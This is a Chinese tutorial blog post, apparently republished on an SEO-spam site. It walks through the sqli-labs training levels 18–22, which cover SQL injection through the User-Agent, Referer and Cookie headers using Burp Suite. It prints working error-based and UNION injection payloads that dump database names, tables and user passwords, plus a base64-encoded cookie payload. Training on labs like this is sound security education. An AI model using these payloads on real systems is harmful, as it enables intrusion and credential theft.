当前位置: 首页 > wzjs >正文

江苏扬州工程建设信息网站上海今天最新发布会

江苏扬州工程建设信息网站,上海今天最新发布会,100万一300万企业所得税,微信app官方下载安装前言 前面的关卡,都是直接在输入框或者浏览器的地址栏上做文章即可。但本文这几关,需要用工具拦截请求修改请求头部才行。 Less18(User-Agent注入) 本关的注入点在User-Agent。我们在用户名和密码框中输入admin/admin后&#xf…

前言

前面的关卡,都是直接在输入框或者浏览器的地址栏上做文章即可。但本文这几关,需要用工具拦截请求修改请求头部才行。

Less18(User-Agent注入)

本关的注入点在User-Agent。我们在用户名和密码框中输入admin/admin后,会回显User-Agent的信息。注意这里只有输入了正确的密码才回回显。

PS:如果admin/admin密码不对,就去Less17那里改就行了~~~~

我们看一下源码,在less18目录下的index.php:

分析代码后,我们发现uagent这个变量获取的是user-agent的数据,而注入点在103行这里,输出页面反馈的在109行。

User-Agent的注入我们需要借助一些工具,可以使用postman或者burp suit等。这里我会使用burp suit操作。

没用过burp suit的读者先下载并打开临时项目。然后使用内嵌浏览器:

之后在内嵌浏览器中打开Less18的页面。

然后要打开拦截请求,拦截一会发送的请求:

接着在用户名框和密码框输入admin和admin

此时发现burp suit已经对请求进行拦截:

然后点击右键,选择“发送到repeater”,然后我们在重放器进行操作。

这里我们尝试吧User-Agent的内容改为:

' and updatexml(1,'~',3) and '

看到这里通过updatexml大法,已经通过user-agent回显了。后面可以按照Less7的思路把数据库和用户名那些爆破出来。

查找当前数据库名:

' or updatexml(1,concat(0x7e,(select database()),0x7e),3) or '

接着查询表,当limit到4时查到users表:

' or updatexml(1,concat('~',(select table_name from information_schema.tables where table_schema=database() limit 3,1)),3) or '

接着是查询列名,还是按照less7的思路,在limit到4、5时找到username和password:

' or updatexml(1,concat('~',(select column_name from information_schema.columns where table_name='users' limit 4,1)),3) or '
' or updatexml(1,concat('~',(select column_name from information_schema.columns where table_name='users' limit 5,1)),3) or '

最后是查出用户名密码,

' or updatexml(1,concat('~',(select username from security.users limit 0,1)),3) or '
' or updatexml(1,concat('~',(select password from security.users limit 0,1)),3) or '

Less19(Referer注入)

先输入用户名密码admin/admin

显示的是Refer的数据,所以考虑注入点和Referer有关。

同样先分析sqli-labs/less19/index.php源文件

与Less18不同的地方在于uagent变量获取的是Referer这个参数。所以操作方式和Less18是一摸一样的。

具体的操作参照Less18,语句完全一样,仅仅是把原来放在user-agent的改成放到referer那里就可以了。

Less20(Cookie注入)

输入用户名密码admin/admin之后:

这里显示了cookie,而且从这关的标题看,写的是cookie注入。所以很显然这关的目标涉及cookie。

 

分析代码后,我们看到147行显然是一个注入点。因为cookee这个变量直接从COOKIE那里获取uname数据,然后直接放到sql语句去执行,没有进行一些处理!

现在开始操作,基本参考Less1就可以了。我们在登录之后,刷新页面并用burp suit拦截请求,右键把请求发到重放器中,修改cookie的值,判断select的列数:

admin' order by 5 #

使用单引号闭合,然后order by看来select的列数。我们尝试5是失败的,最终尝试3时会成功:

admin' order by 3 #

接下来我们用联合注入方式:

' union select 1,2,3 #

看到联合注入的参数已经回显到前端。

接下来是查询库名:

' union select 1,database(),3 #

表名:

' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() #

列名:

' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' #

 最后找出用户名密码:

Less21 

21关和20关差不多。我们看了拦截的请求,cookie是用base64编码过的

分析源码:

在146行是注入点,闭合方式是单引号+右括号。

语句基本和Less20差不多,就是闭合方式改变,并且要先用base64转码。比如查询数据库语句为:

') union select 1,database(),3 #

然后我们用base64转码,可以用在线方式,也可以自己写脚本,或者用离线工具koczkatamas等等。转码得到:

JykgdW5pb24gc2VsZWN0IDEsZGF0YWJhc2UoKSwzICM=

 其他查询也是类似的方式即可,不再赘述。

Less22

Less22和21差不多,都是cookie要做base64编码。区别是变成了双引号闭合,所以也不赘述。

小结

本文主要演示了请求头部的一些注入点,包括User-Agent、Referer和Cookie。其实现方式大同小异。但头部注入的操作比前面get和post会麻烦一些,需要拦截请求并修改头部信息。

http://www.dtcms.com/wzjs/401512.html

相关文章:

  • 263企业邮箱官网入口windows优化大师卸载不了
  • 龙华企业网站建设公司百度网页浏览器
  • 做网站运营需要学什么条件内蒙古网站seo
  • 上海定制网站建设公司哪家好2345网址大全浏览器
  • 阿里云的网站空间武汉seo网站排名
  • 怎么做百度里面自己的网站云搜索
  • 做网站教程佛山网络推广公司
  • 广州app定制公司抖音seo源码搭建
  • 做网站上面图片的软件seo关键词推广怎么做
  • 网站内容策略seo助力网站转化率提升
  • 吉林市网站建设公司哪家好想做网络推广如何去做
  • 快速开发平台开源厦门seo代理商
  • 做网站注意哪些方面宣传推广策略
  • 网站 公众号 建设方案网站功能
  • 用vs2010做网站登录网络营销活动方案
  • dede怎么做网站日记百度下载安装2021最新版
  • 昆明专业网站建设公司网站推广软件
  • 重庆网络推广排行安徽关键词seo
  • 永久免费网站建设网站发布流程
  • 门户网站建设困难东莞优化网站关键词优化
  • 做网站讯息如何免费推广网站
  • php语言 电商网站建设常熟网络推广
  • 网站建设吉金手指专业12建网站的公司
  • 做行业门户网站注意什么关键词优化难度分析
  • 企业网站建设排名推荐网站建设技术外包
  • 株洲市政府门户网站seo关键词优化案例
  • 昆山做轮胎网站app开发公司排名
  • 开发电子商务网站和开发新闻类网站什么异同百度排名查询
  • 镇江建设网站公司seo搜索引擎优化到底是什么
  • 做海报可以在哪些网站下载素材企业网络营销成功案例